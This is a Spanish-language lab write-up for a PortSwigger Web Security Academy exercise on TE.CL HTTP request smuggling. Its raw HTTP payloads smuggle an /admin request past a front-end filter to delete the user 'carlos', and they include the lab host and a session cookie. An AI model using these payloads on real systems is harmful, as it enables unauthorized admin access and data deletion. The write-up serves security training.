> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/front-end-security-bypass-via-te-cl.md).
# Evasión de seguridad del front-end mediante TE.CL
Notas de Evasión de seguridad del front-end mediante TE.CL para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.
### Explotación del contrabando de solicitudes HTTP para eludir los controles de seguridad del front-end, vulnerabilidad TE.CL
El sistema se basa en un servidor front-end y un servidor back-end. / Back-end **no maneja la codificación por fragmentos**, mientras que el front-end **bloquea el acceso a /admin**. / El objetivo es **disimular una solicitud a /admin** para eliminar al usuario carlos.
Aunque la aplicación admite HTTP/2, la explotación se basa en técnicas específicas de HTTP/1.
#### **Observación inicial**
El front-end interpreta correctamente `Transfer-Encoding: chunked`. / Primero enviamos una solicitud simple:
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 5
Transfer-Encoding: chunked
0
```
#### **Construcción de la solicitud contrabandeada**
Un **nueva solicitud completa** se inyecta en el cuerpo fragmentado.
#### **Modelo preparatorio**
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: tamaño
Transfer-Encoding: chunked
tamaño
GET /admin HTTP/1.1
Host: localhost
Content-Length: tamaño
test=testing
0
```
#### **Ajuste del tamaño**
Un mínimo `Content-Length` en el lado del front-end se fija, seguido de un fragmento que contiene la solicitud contrabandeada:
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
48
GET /admin HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
El servidor interpreta correctamente la solicitud inyectada.
#### **Inyección de la solicitud final para eliminar a Carlos**
La solicitud objetivo se reemplaza por una eliminación de usuario:
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
48
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
Esta solicitud contrabandeada es luego procesada directamente por el back-end, eludiendo por completo el filtrado del front-end.
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
5f
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
---
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